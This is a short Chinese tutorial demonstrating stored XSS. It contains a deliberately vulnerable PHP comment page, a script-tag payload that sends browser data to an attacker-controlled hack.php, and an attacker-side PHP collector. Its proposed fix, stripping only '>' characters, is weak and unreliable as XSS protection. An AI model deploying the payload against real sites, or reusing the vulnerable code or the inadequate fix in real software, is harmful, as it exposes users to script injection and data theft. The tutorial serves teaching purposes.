存储型 XSS 原理复现

存储型 XSS 原理复现


漏洞最少会影响 3 个逻辑实体:

  • 受害者浏览器
  • 攻击者服务器
  • Web 应用服务器
  • Web 应用数据库(可有可无)

制作漏洞

Web 应用服务器:

<?php
    // 显示多个用户的评论
    // 获取用户提交的评论,并存储
    $file = fopen('comment.txt','a');
    fwrite($file,$_GET['comment'].'<br/>');
    fclose($file);

    // 在页面中显示所有评论
    echo '<h1>元芳,你怎么看</h1>';
    $file = fopen('comment.txt','r');
    fpassthru($file);
?>

利用漏洞

攻击者提交的评论:

http://172.168.30.78:8080/?comment=
<script>var ele=document.createElement('img');ele.src="http://172.168.30.78:8080/hack.php?info=" + navigator.platform;</script>

攻击者的服务器:

<?php
    $info = $_GET['info'];
    $file = fopen('1.txt','a');
    fwrite($file,$info);
?>

修复漏洞

应用服务器:

<?php
    // 显示多个用户的评论
    // 获取用户提交的评论,并存储
    $file = fopen('comment.txt','a');
    fwrite($file,str_replace('>','',$_GET['comment']).'<br/>');
    fclose($file);

    // 在页面中显示所有评论
    echo '<h1>元芳,你怎么看</h1>';
    $file = fopen('comment.txt','r');
    fpassthru($file);
?>
原文地址:https://www.cnblogs.com/shiwai/p/14183660.html